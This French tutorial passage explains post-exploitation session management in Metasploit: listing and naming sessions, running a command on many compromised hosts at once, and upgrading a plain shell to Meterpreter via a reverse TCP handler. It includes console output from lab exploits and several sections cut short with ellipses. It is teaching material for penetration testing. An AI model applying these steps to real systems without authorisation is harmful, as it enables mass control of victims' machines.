Utilisation des sessions
Présentation des sessions
À la suite d’une exploitation réussie, en fonction du payload choisi, il est possible pour un attaquant de disposer d’une connexion entre sa machine et la machine cible. Au sein du framework Metasploit, il s’agit d’une session :
msf6 exploit(............)> exploit
[...]
[*] Command shell session 1 opened (192.168.171.156:43923 ->
172.16.64.130:4444) at 2019-05-24 16:56:24 +0200
msf6 exploit(............) > exploit
[...]
[*] Meterpreter session 1 opened (192.248.226.2:4444 ->
192.248.226.3:47300) at 2019-06-19 17:34:05 +0000
L’utilisation des sessions peut être particulièrement puissante. En effet, souvent utilisé pour interagir uniquement avec une machine, il est pourtant possible d’exécuter une commande sur plusieurs machines en simultané (parfait pour l’exploitation massive), d’obtenir des informations sur l’une des sessions ou même de transformer un simple shell en un shell Meterpreter.
L’utilisation de la commande session n’est possible qu’AVANT l’exploitation de la vulnérabilité sinon il s’agira d’une autre commande. Pour cela, il est nécessaire de ne pas interagir avec la session nouvellement créée lors de l’exploitation. Cette astuce est possible grâce à...
Listing des sessions et interactions
Une fois les sessions créées grâce aux différents exploits/payloads, il est possible de les lister grâce à la commande sessions. Il est également possible d’utiliser la commande sessions -l qui renvoie exactement le même résultat :
msf6 exploit(multi/http/apprain_upload_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)
2 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42552 (192.84.65.3)
msf6 exploit(multi/http/apprain_upload_exec) > sessions...
Gestion des sessions
Dans le cadre d’une exploitation massive, il est probable que de très nombreuses sessions soient ouvertes durant la phase de tests. Même si la commande précédemment mise en avant (sessions -v) permet d’obtenir des détails sur les sessions, il peut devenir difficile de les gérer. Ainsi, pour une meilleure gestion, il est possible de nommer les sessions grâce à la commande sessions -n -i <SESSION_ID> :
msf6 exploit(multi/http/apprain_upload_exec) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)
2 meterpreter php/linux www-data (33) @ victim-1 ...
Exploitation massive
Dans le cas où de nombreuses sessions sont actives, il peut être pratique d’exécuter une commande sur de multiples sessions en simultané.
Via les trois commandes abordées ci-après, il est possible de spécifier les sessions sur lesquelles vont s’exécuter les commandes grâce à l’option -i suivie des numéros de sessions. Si cette option n’est pas spécifiée, les commandes seront exécutées sur l’ensemble des sessions par défaut.
Il est ainsi possible d’utiliser différentes commandes :
-
« sessions -c <COMMAND> » pour exécuter des commandes système
msf exploit(handler) > sessions -c 'reg query
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName'
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion" /v ProductName' on session 1 (192.168.1.138:50441)
! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Microsoft Windows XP
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion" /v ProductName' on session 2 (192.168.1.138:54920)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows...
Vers Meterpreter et au-delà
Obtenir un shell Meterpreter sur une machine cible se rapproche du Saint Graal. Néanmoins, dans certaines exploitations, il n’est pas toujours possible d’obtenir le tant convoité Meterpreter :
msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell python/python 192.90.63.2:4444 ->
192.90.63.3:48162 (192.90.63.3)
Malgré cela, il reste une possibilité d’obtenir le shell souhaité grâce à la commande sessions -u :
msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s):
[1]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.90.63.2:4433
[*] Sending...